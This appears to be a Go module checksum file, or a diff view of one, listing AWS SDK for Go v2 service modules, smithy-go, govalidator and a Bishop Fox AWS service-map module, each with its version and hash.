github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.23 h1:wJdl2doHQU+60ETqLHfXtY4ywmm36ZHiinA/rVkTtl8=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.23/go.mod h1:gHgx63dm28U/o5NotzfFWhxUASzcZuPgO8GDpsI1Aqw=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.18.26 h1:gAy84CkCnK2vgh7Rj5tRzpqeATCPShVCIjJZ0g7iKNg=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.18.26/go.mod h1:uIsRP+M5F/Ch+21isqTg6u16FXl2yzupCX0Dli4eQEM=
|
||||
github.com/aws/aws-sdk-go-v2/service/fsx v1.25.4 h1:cqb2+5MxHa+qdNWiu4giFuDdgBlyDzDawiROMYTuzBM=
|
||||
github.com/aws/aws-sdk-go-v2/service/fsx v1.25.4/go.mod h1:dOw+yZ4MsogGQIWd7z6jNb0Q9aSlSeTy3EZWKDGT/dM=
|
||||
github.com/aws/aws-sdk-go-v2/service/glue v1.35.0 h1:qs2mr/MDqcAkG2XimkX3PcwR5jwCCZ8r4/yAWOCjGJo=
|
||||
github.com/aws/aws-sdk-go-v2/service/glue v1.35.0/go.mod h1:kgD6fBlQEkhJlffBbS8SGYtpjboavr9e8B1ZouD84pY=
|
||||
github.com/aws/aws-sdk-go-v2/service/grafana v1.10.0 h1:Oi4le4KruAPyOzM5eIIUfUHMKnFKpyGAt5sglp+KIgw=
|
||||
github.com/aws/aws-sdk-go-v2/service/grafana v1.10.0/go.mod h1:mvMvy3rVAodoUa9hx6vS8cooFkLlpkt46n7BWVZNyA0=
|
||||
github.com/aws/aws-sdk-go-v2/service/iam v1.18.23 h1:HOtW30EkfQevdv++mKguMyn8/agh1z2VuBGR4Hou/u8=
|
||||
github.com/aws/aws-sdk-go-v2/service/iam v1.18.23/go.mod h1:yQ92mKfw/Gg5AvgxGmfdufKEyVoa9RNBsdnB9j5Gzkk=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.10 h1:dpiPHgmFstgkLG07KaYAewvuptq5kvo52xn7tVSrtrQ=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.10/go.mod h1:9cBNUHI2aW4ho0A5T87O294iPDuuUOSIEDjnd1Lq/z0=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.20 h1:KSvtm1+fPXE0swe9GPjc6msyrdTT0LB/BP8eLugL1FI=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.20/go.mod h1:Mp4XI/CkWGD79AQxZ5lIFlgvC0A+gl+4BmyG1F+SfNc=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.19 h1:V03dAtcAN4Qtly7H3/0B6m3t/cyl4FgyKFqK738fyJw=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.19/go.mod h1:2WpVWFC5n4DYhjNXzObtge8xfgId9UP6GWca46KJFLo=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.19 h1:GE25AWCdNUPh9AOJzI9KIJnja7IwUc1WyUqz/JTyJ/I=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.19/go.mod h1:02CP6iuYP+IVnBX5HULVdSAku/85eHB2Y9EsFhrkEwU=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.19 h1:piDBAaWkaxkkVV3xJJbTehXCZRXYs49kvpi/LG6LR2o=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.19/go.mod h1:BmQWRVkLTmyNzYPFAZgon53qKLWBNSvonugD1MrSWUs=
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.25.1 h1:mmWZ5Hdc7hMHIUVLgOFLjQQvvUGZ3uhNO8mDGznqIiA=
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.25.1/go.mod h1:2oqKd3SCTyhVaUei20xDUOOcqOAuAnbCy79w/t1dDVs=
|
||||
github.com/aws/aws-sdk-go-v2/service/lightsail v1.24.0 h1:ILjBjigugB2APXvhntZU+XwDAcaTId22dE0OwIbi/2A=
|
||||
github.com/aws/aws-sdk-go-v2/service/lightsail v1.24.0/go.mod h1:LYCAGTJ4XgNZAESKxLC9L12F7IIQbJHccVxanY8DYzo=
|
||||
github.com/aws/aws-sdk-go-v2/service/mq v1.13.15 h1:K0UbxNfaPHoIXo0T4L4jrbE+TKcVPYp55nEnMLxVRPk=
|
||||
github.com/aws/aws-sdk-go-v2/service/mq v1.13.15/go.mod h1:ycghPMXYItx5Y74iehFgGwDNUMXdq0xCxLaYC5uYZO0=
|
||||
github.com/aws/aws-sdk-go-v2/service/opensearch v1.11.3 h1:ViGcWux+UbkS/JBLxPILq/Mevlf9RXSycGlPaVQON5Y=
|
||||
github.com/aws/aws-sdk-go-v2/service/opensearch v1.11.3/go.mod h1:7mh4ks7MsQUuhHFCr10LIF9gKVS+0yylPUmCEM/kzJE=
|
||||
github.com/aws/aws-sdk-go-v2/service/ram v1.16.24 h1:pzB33ZEhd1szVKHkgYe4cXQ+kSLJEFGBLy+IpbAKY9Y=
|
||||
github.com/aws/aws-sdk-go-v2/service/ram v1.16.24/go.mod h1:el3+/AiwdwKk5qZEcCQqm+t3b1A5QLZI2nr/OkhM/gc=
|
||||
github.com/aws/aws-sdk-go-v2/service/rds v1.31.0 h1:lx8pflhN7oogISvAorwqPGFHN7eiVlGEwk21ThYcyoA=
|
||||
github.com/aws/aws-sdk-go-v2/service/rds v1.31.0/go.mod h1:wPFe1Cj3nZWmNWKKdkXw961l1dJheTZQ5JjPImqbMuI=
|
||||
github.com/aws/aws-sdk-go-v2/service/redshift v1.26.16 h1:qPa2cNgLUAMavzTD9joFfjU/ue5GE1gFsJPLD13yomw=
|
||||
github.com/aws/aws-sdk-go-v2/service/redshift v1.26.16/go.mod h1:Ds+ElMoF3oxjYWJZofKeNeih3q3W7vzRCkRdnu/aOj8=
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.13.24 h1:CP4LqvOiNVTtWoUgISmhTzUinT7zvYd57C6Xey9w86k=
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.13.24/go.mod h1:/WfhDm5Hmfy/3TSM/1m9ojM0IQsBuVGvd3vITQc86i0=
|
||||
github.com/aws/aws-sdk-go-v2/service/route53 v1.25.0 h1:ubppi63qDFs3J7cg8uDOzyvlmKFQDoxL2tlHb7mfbR8=
|
||||
github.com/aws/aws-sdk-go-v2/service/route53 v1.25.0/go.mod h1:kUSK8EkGYdzFbTmADk0t7yRIoESH80xjWe8Bp6dQce8=
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.29.4 h1:QgmmWifaYZZcpaw3y1+ccRlgH6jAvLm4K/MBGUc7cNM=
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.29.4/go.mod h1:/NHbqPRiwxSPVOB2Xr+StDEH+GWV/64WwnUjv4KYzV0=
|
||||
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.55.0 h1:i0G6pXYPs6FsufUBOGXqE/ozlFxZUf+pwp5fhSEvs7E=
|
||||
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.55.0/go.mod h1:umigFBRAb3i0OTRXRYDLlCawnJPYCWLhod55+tZHOFA=
|
||||
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.8 h1:Zw48FHykP40fKMxPmagkuzklpEuDPLhvUjKP8Ygrds0=
|
||||
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.8/go.mod h1:k6CPuxyzO247nYEM1baEwHH1kRtosRCvgahAepaaShw=
|
||||
github.com/aws/aws-sdk-go-v2/service/sns v1.18.6 h1:rfQqunscpnVmvK6O9B2DwrBzIMICSCKswPwkD2XDan8=
|
||||
github.com/aws/aws-sdk-go-v2/service/sns v1.18.6/go.mod h1:2cPUjR63iE9MPMPJtSyzYmsTFCNrN/Xi9j0v9BL5OU0=
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.19.15 h1:5PgOVgJWObGxve+0qU7T/C0reU6RxqpNwbuunLT9Vlc=
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.19.15/go.mod h1:DKX/7/ZiAzHO6p6AhArnGdrV4r+d461weby8KeVtvC4=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.33.1 h1:N4aPQGoAgdUr+3F1UcuW8/WE3aM7sxzOpzDP0hWkJCg=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.33.1/go.mod h1:rEsqsZrOp9YvSGPOrcL3pR9+i/QJaWRkAYbuxMa7yCU=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.11.25 h1:GFZitO48N/7EsFDt8fMa5iYdmWqkUDDB3Eje6z3kbG0=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.11.25/go.mod h1:IARHuzTXmj1C0KS35vboR0FeJ89OkEy1M9mWbK2ifCI=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.8 h1:jcw6kKZrtNfBPJkaHrscDOZoe5gvi9wjudnxvozYFJo=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.8/go.mod h1:er2JHN+kBY6FcMfcBBKNGCT3CarImmdFzishsqBmSRI=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.17.5 h1:60SJ4lhvn///8ygCzYy2l53bFW/Q15bVfyjyAWo6zuw=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.17.5/go.mod h1:bXcN3koeVYiJcdDU89n3kCYILob7Y34AeLopUbZgLT4=
|
||||
github.com/aws/smithy-go v1.13.4 h1:/RN2z1txIJWeXeOkzX+Hk/4Uuvv7dWtCjbmVJcrskyk=
|
||||
github.com/aws/smithy-go v1.13.4/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA=
|
||||
github.com/bishopfox/awsservicemap v1.0.0 h1:iZOPsMPfMmugLhOctLJUqcCrkT5+NflF5DIv7EFomMs=
|
||||
github.com/bishopfox/awsservicemap v1.0.0/go.mod h1:oy9Fyqh6AozQjShSx+zRNouTlp7k3z3YEMoFkN8rquc=
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
|
||||
github.com/aws/aws-sdk-go-v2 v1.18.0 h1:882kkTpSFhdgYRKVZ/VCgf7sd0ru57p2JCxz4/oN5RY=
|
||||
github.com/aws/aws-sdk-go-v2 v1.18.0/go.mod h1:uzbQtefpm44goOPmdKyAlXSNcwlRgF3ePWVW6EtJvvw=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.10 h1:dK82zF6kkPeCo8J1e+tGx4JdvDIQzj7ygIoLg8WMuGs=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.10/go.mod h1:VeTZetY5KRJLuD/7fkQXMU6Mw7H5m/KP2J5Iy9osMno=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.25 h1:JuYyZcnMPBiFqn87L2cRppo+rNwgah6YwD3VuyvaW6Q=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.25/go.mod h1:dZnYpD5wTW/dQF0rRNLVypB396zWCcPiBIvdvSWHEg4=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.24 h1:PjiYyls3QdCrzqUN35jMWtUK1vqVZ+zLfdOa/UPFDp0=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.24/go.mod h1:jYPYi99wUOPIFi0rhiOvXeSEReVOzBqFNOX5bXYoG2o=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.3 h1:jJPgroehGvjrde3XufFIJUZVK5A2L9a3KwSFgKy9n8w=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.3/go.mod h1:4Q0UFP0YJf0NrsEuEYHpM9fTSEVnD16Z3uyEF7J9JGM=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.33 h1:kG5eQilShqmJbv11XL1VpyDbaEJzWxd4zRiCG30GSn4=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.33/go.mod h1:7i0PF1ME/2eUPFcjkVIwq+DOygHEoK92t5cDqNgYbIw=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.27 h1:vFQlirhuM8lLlpI7imKOMsjdQLuN9CPi+k44F/OFVsk=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.27/go.mod h1:UrHnn3QV/d0pBZ6QBAEQcqFLf8FAzLmoUfPVIueOvoM=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.34 h1:gGLG7yKaXG02/jBlg210R7VgQIotiQntNhsCFejawx8=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.34/go.mod h1:Etz2dj6UHYuw+Xw830KfzCfWGMzqvUTCjUj5b76GVDc=
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.25 h1:AzwRi5OKKwo4QNqPf7TjeO+tK8AyOK3GVSwmRPo7/Cs=
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.25/go.mod h1:SUbB4wcbSEyCvqBxv/O/IBf93RbEze7U7OnoTlpPB+g=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.16.11 h1:90Jf9htQw8RA1FIujUc8ZM8AFWNySHZH1SKe2/0Kla8=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.16.11/go.mod h1:GXjIkQpFivo8T4szSTIiNQBvONXQz/MbN+M251q9BPk=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.13.11 h1:1L2042GftNVyI3TtWclGodfN5zBQjBNXsTQxDNaPXs8=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.13.11/go.mod h1:Cs+mG0DXkVYPWsWIE8Ga78C/HeN5zFBbPHdOnJPwZ4M=
|
||||
github.com/aws/aws-sdk-go-v2/service/apprunner v1.17.9 h1:Ddc9R2j1KQ4qhbbfwugcQ44LzmeieaUSlBGbAGASuLM=
|
||||
github.com/aws/aws-sdk-go-v2/service/apprunner v1.17.9/go.mod h1:tKdk26xmO22Q+geNJM7/uMDdTMvPCFZM12H0m1jpsHM=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.29.0 h1:MjDK6nt3iDPCk4CVLrc6GoxZIunzRnyIalTYwEUKb/E=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudformation v1.29.0/go.mod h1:YtA9SsNBWnaDpSECATt8ghAOUMcGeHcnY2kTENLNmO8=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.26.6 h1:qDEv2jw4sFWOxpo++zFx76GQ7MEh+Q7gHg7/6PVFMJs=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudfront v1.26.6/go.mod h1:VaCrMUb08RMUN5p3ss+92ZEGC/2NkWuiCNYET3xkirw=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.26.0 h1:tPKUl76gWGmmdewjbAMlbL32hr6roDoE8xLiqKNGPfo=
|
||||
github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.26.0/go.mod h1:JJDbUhySZXBEEMEMtiNubwi7ooh7OXI8mb/ItEAShjs=
|
||||
github.com/aws/aws-sdk-go-v2/service/codebuild v1.20.13 h1:EPmZulYYBXFr/TlIe4iPMm6nyR198VMJOur0EzHvTvI=
|
||||
github.com/aws/aws-sdk-go-v2/service/codebuild v1.20.13/go.mod h1:5Wsxbl13SRHZ3oUQqIjvn+wLwiknRA/Myi1F5fGW6mo=
|
||||
github.com/aws/aws-sdk-go-v2/service/docdb v1.21.3 h1:3KemQEVSRTEMexSmRVgqYSLqClvhtETjmrxxQhNLmuo=
|
||||
github.com/aws/aws-sdk-go-v2/service/docdb v1.21.3/go.mod h1:XC0nkyZ9G1cFKU/K0WS/Jhrz6fsfy411T2L0MEFIlMo=
|
||||
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.19.7 h1:yb2o8oh3Y+Gg2g+wlzrWS3pB89+dHrXayT/d9cs8McU=
|
||||
github.com/aws/aws-sdk-go-v2/service/dynamodb v1.19.7/go.mod h1:1MNss6sqoIsFGisX92do/5doiUCBrN7EjhZCS/8DUjI=
|
||||
github.com/aws/aws-sdk-go-v2/service/ec2 v1.99.0 h1:NXi4pNJWjAaiI56P1Rl8DC9A4jMNRE00WNBsDua5WRg=
|
||||
github.com/aws/aws-sdk-go-v2/service/ec2 v1.99.0/go.mod h1:L3ZT0N/vBsw77mOAawXmRnREpEjcHd2v5Hzf7AkIH8M=
|
||||
github.com/aws/aws-sdk-go-v2/service/ecr v1.18.11 h1:wlTgmb/sCmVRJrN5De3CiHj4v/bTCgL5+qpdEd0CPtw=
|
||||
github.com/aws/aws-sdk-go-v2/service/ecr v1.18.11/go.mod h1:Ce1q2jlNm8BVpjLaOnwnm5v2RClAbK6txwPljFzyW6c=
|
||||
github.com/aws/aws-sdk-go-v2/service/ecs v1.27.1 h1:54QSuWR3Pot7HqBRXd+c1yF97h2bqzDBID8qFSAkTlE=
|
||||
github.com/aws/aws-sdk-go-v2/service/ecs v1.27.1/go.mod h1:SB6YszwN1iKvyt/Qk+ICeKsfBxjd0CTEwwkmej9qoa0=
|
||||
github.com/aws/aws-sdk-go-v2/service/efs v1.20.1 h1:fJFdGkf0Xj04IBnps3YlL6mGPSjzfgAZ7ZX+mbsrPDc=
|
||||
github.com/aws/aws-sdk-go-v2/service/efs v1.20.1/go.mod h1:7szMjYu35IWLaJEG23z6x/KOFckAF4/oQdNuDni99Pk=
|
||||
github.com/aws/aws-sdk-go-v2/service/eks v1.27.12 h1:eKidf2ebtleLtH67x02syhO9t3FItv9a7/ep9KC3TAM=
|
||||
github.com/aws/aws-sdk-go-v2/service/eks v1.27.12/go.mod h1:ZoyBDE311XYRiJpofw4jorVH2u+UhFpzfkrxF3aWu0U=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticache v1.27.0 h1:m0ZU6thCelJgtyNMnXYp39y/SY9qE4clxhs84sQM3jA=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticache v1.27.0/go.mod h1:uSAGbZNsmIG2EXhWd7+6iKtwF15wWNtR5HLuRamlY5Q=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.15.10 h1:gGqHXu9rt/F+xGidPfFKVZUYEDZ3zKMMAOx1yVUr//U=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.15.10/go.mod h1:pidEyxe4u/vkB8wvbKRZ/r6IUJcyhQoTbSLA2HWR6cY=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.19.11 h1:IN2XMTLmhIEL5e3o+tY9JsLFSAxmjgM8gI7W2+CPrpw=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.19.11/go.mod h1:oPHYtcocUcfHOE7qygtvyZMw82nedCKZSop/R9jxlAM=
|
||||
github.com/aws/aws-sdk-go-v2/service/fsx v1.28.13 h1:lIVHlpyYIQPjFX47bsf6u0vfMLP1A4a7imoqzmIj66s=
|
||||
github.com/aws/aws-sdk-go-v2/service/fsx v1.28.13/go.mod h1:jQE07g3nDTABqgZabycvM3LsgnUYRImP4zWPt4Sb9Bc=
|
||||
github.com/aws/aws-sdk-go-v2/service/glue v1.50.0 h1:GF6Lsy9g1+Ig2e1TpGygl00+oBcdYHIMyTHoKZa9VGE=
|
||||
github.com/aws/aws-sdk-go-v2/service/glue v1.50.0/go.mod h1:agadckFdb7BwFqeN4CXt3yrMtoFvY/8b2F+8FNeHVOc=
|
||||
github.com/aws/aws-sdk-go-v2/service/grafana v1.13.1 h1:7njo8N0P8cfchwXTn1xefRbYCzjQN6jrqOATFoan37U=
|
||||
github.com/aws/aws-sdk-go-v2/service/grafana v1.13.1/go.mod h1:FkpbGiG/BBvaZKQTy4eNxo04PJXOuGwIbVMuUM+xAUo=
|
||||
github.com/aws/aws-sdk-go-v2/service/iam v1.20.0 h1:ywXSXkssdnuPlJyCZVO5kAUQhFm/RhsbvWRHklJ0uH4=
|
||||
github.com/aws/aws-sdk-go-v2/service/iam v1.20.0/go.mod h1:kAnokExGCYs7zfvZEZdFHvQ/x4ZKIci0Raps6mZI1Ag=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.11 h1:y2+VQzC6Zh2ojtV2LoC0MNwHWc6qXv/j2vrQtlftkdA=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.11/go.mod h1:iV4q2hsqtNECrfmlXyord9u4zyuFEJX9eLgLpSPzWA8=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.28 h1:vGWm5vTpMr39tEZfQeDiDAMgk+5qsnvRny3FjLpnH5w=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.28/go.mod h1:spfrICMD6wCAhjhzHuy6DOZZ+LAIY10UxhUmLzpJTTs=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.27 h1:QmyPCRZNMR1pFbiOi9kBZWZuKrKB9LD4cxltxQk4tNE=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.7.27/go.mod h1:DfuVY36ixXnsG+uTqnoLWunXAKJ4qjccoFrXUPpj+hs=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.27 h1:0iKliEXAcCa2qVtRs7Ot5hItA2MsufrphbRFlz1Owxo=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.27/go.mod h1:EOwBD4J4S5qYszS5/3DpkejfuK+Z5/1uzICfPaZLtqw=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.14.2 h1:NbWkRxEEIRSCqxhsHQuMiTH7yo+JZW1gp8v3elSVMTQ=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.14.2/go.mod h1:4tfW5l4IAB32VWCDEBxCRtR9T4BWy4I4kr1spr8NgZM=
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.35.0 h1:iNLsDIOju/bbqw0mNaEXh+9Ms6Mm0RjcHPP9z4k9lUY=
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.35.0/go.mod h1:i23nHcGEyswthctBfhEO1agGpM5Uyh83aSmSB6DmdCk=
|
||||
github.com/aws/aws-sdk-go-v2/service/lightsail v1.26.6 h1:QQE/ZcXSrPFGprrG8VFblHiMpenvzICT09YnaMmQEwk=
|
||||
github.com/aws/aws-sdk-go-v2/service/lightsail v1.26.6/go.mod h1:L+JqH2pSCvKnCVJNKnU/8TTUfuNuTXSmXiS3F0zMvzQ=
|
||||
github.com/aws/aws-sdk-go-v2/service/mq v1.14.11 h1:eZ1ScRKjMgz9yHTFBivnnRW9eUAoGXeuvWmx28ACYbI=
|
||||
github.com/aws/aws-sdk-go-v2/service/mq v1.14.11/go.mod h1:ladDWyHbOQSExyg5caiKPBAxkjZfAbb/wZcXpF80IB8=
|
||||
github.com/aws/aws-sdk-go-v2/service/opensearch v1.17.0 h1:GAFqcrOqxNh/2FXEb07nBpqlv79hGxJoI1u+5Cl/aAU=
|
||||
github.com/aws/aws-sdk-go-v2/service/opensearch v1.17.0/go.mod h1:a+o5iMtYkg8xyE1VLRmhXmWElEgugcSIlU3rCY9hL5g=
|
||||
github.com/aws/aws-sdk-go-v2/service/organizations v1.19.6 h1:wHV9iUDPdluHAkeJBP9exp4IO9KN+T7/UHgltB8Udsg=
|
||||
github.com/aws/aws-sdk-go-v2/service/organizations v1.19.6/go.mod h1:zw4Ac19gtzc4cdtfBCTZa7FlrXYh8tbUl3Jr7movexs=
|
||||
github.com/aws/aws-sdk-go-v2/service/ram v1.18.2 h1:taFrZuOwM1UiayFQhSXw1JX5v2wFM/qIBGxgN5UWsxU=
|
||||
github.com/aws/aws-sdk-go-v2/service/ram v1.18.2/go.mod h1:lYxryEoqZQtttq5iIoA40FD079MxYvNCIzczvMD9iAM=
|
||||
github.com/aws/aws-sdk-go-v2/service/rds v1.45.0 h1:Yi23UNiGidNfT7tIW0lbE6JtRR1ZN+cNZGRTKLB+opk=
|
||||
github.com/aws/aws-sdk-go-v2/service/rds v1.45.0/go.mod h1:rS6T0DrjdZ5LDr8ZC/J9iZdD1oSbie5reWWzqv5zLOw=
|
||||
github.com/aws/aws-sdk-go-v2/service/redshift v1.27.11 h1:a6XfWSH3xO0+eEAT9ox6V13LNX09fQrs7QvU5+juxY0=
|
||||
github.com/aws/aws-sdk-go-v2/service/redshift v1.27.11/go.mod h1:gEfU7N8/eImCoodwl5CKW7Mih19THtJhzQCdA5TZZQ0=
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.14.12 h1:/fvzwRqxxiNJwNK5XVE1NvnQFvNajNRYx82lkTqXlMM=
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.14.12/go.mod h1:i/CXT+v8caoM60a7brYlrVG64srBa1Op0Q5Nl6askyo=
|
||||
github.com/aws/aws-sdk-go-v2/service/route53 v1.28.1 h1:8e1fgdyer5IqBPtiWNsVLY/XFucmNTtYMqADyCFXTgQ=
|
||||
github.com/aws/aws-sdk-go-v2/service/route53 v1.28.1/go.mod h1:9SEpwqaALzp34eCT6w5PTh4SDDT84wxfMRx9VJSJPsk=
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.33.1 h1:O+9nAy9Bb6bJFTpeNFtd9UfHbgxO1o4ZDAM9rQp5NsY=
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.33.1/go.mod h1:J9kLNzEiHSeGMyN7238EjJmBpCniVzFda75Gxl/NqB8=
|
||||
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.83.0 h1:8fsILyGP7AMoK4LkO09UE9x/6uj05i3N3//CqUE3z1E=
|
||||
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.83.0/go.mod h1:l4Wxb+ZaxOd9hpjFmzI28NgX8us5H3rv/QXg9q/T8tE=
|
||||
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.19.8 h1:eB91eEYUlh8+O2dXr189W8GJJd+/T8N/c5HocH2KzVo=
|
||||
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.19.8/go.mod h1:3ARttS6G6U3auEdKfaN4GlnfS9UxYE9nqub1+0YGycA=
|
||||
github.com/aws/aws-sdk-go-v2/service/sfn v1.17.11 h1:A3Y64jN5O4kZMDpsddKgy7p5ZRmKae4Rd5JJglkIq5Q=
|
||||
github.com/aws/aws-sdk-go-v2/service/sfn v1.17.11/go.mod h1:pZ4bJEoEyKsCxq1IJFbhiB3JKNr1VMvmI+ujmlwOiuU=
|
||||
github.com/aws/aws-sdk-go-v2/service/sns v1.20.11 h1:kUKAkuOhCCq/Av372Dtzg0oaAD5VEUYdDtU4lGIYKkw=
|
||||
github.com/aws/aws-sdk-go-v2/service/sns v1.20.11/go.mod h1:WjBcrd28zNbbuAcIRO/n89sSeOxTuOZPiuxNXU/2WrI=
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.23.0 h1:EgyGgs20+tdc2F2P7mKCD6SkWv/62fsGZlT3N5VFi5M=
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.23.0/go.mod h1:ujUjm+PrcKUeIiKu2PT7MWjcyY0D6YZRZF3fSswiO+0=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.36.4 h1:3AjvCuRS8OnNVRC/UBagp1Jo2feR94+VAIKO4lz8gOQ=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.36.4/go.mod h1:p6MaesK9061w6NTiFmZpUzEkKUY5blKlwD2zYyErxKA=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.12.10 h1:UBQjaMTCKwyUYwiVnUt6toEJwGXsLBI6al083tpjJzY=
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.12.10/go.mod h1:ouy2P4z6sJN70fR3ka3wD3Ro3KezSxU6eKGQI2+2fjI=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.14.10 h1:PkHIIJs8qvq0e5QybnZoG1K/9QTrLr9OsqCIo59jOBA=
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.14.10/go.mod h1:AFvkxc8xfBe8XA+5St5XIHHrQQtkxqrRincx4hmMHOk=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.19.0 h1:2DQLAKDteoEDI8zpCzqBMaZlJuoE9iTYD0gFmXVax9E=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.19.0/go.mod h1:BgQOMsg8av8jset59jelyPW7NoZcZXLVpDsXunGDrk8=
|
||||
github.com/aws/smithy-go v1.13.5 h1:hgz0X/DX0dGqTYpGALqXJoRKRj5oQ7150i5FdTePzO8=
|
||||
github.com/aws/smithy-go v1.13.5/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA=
|
||||
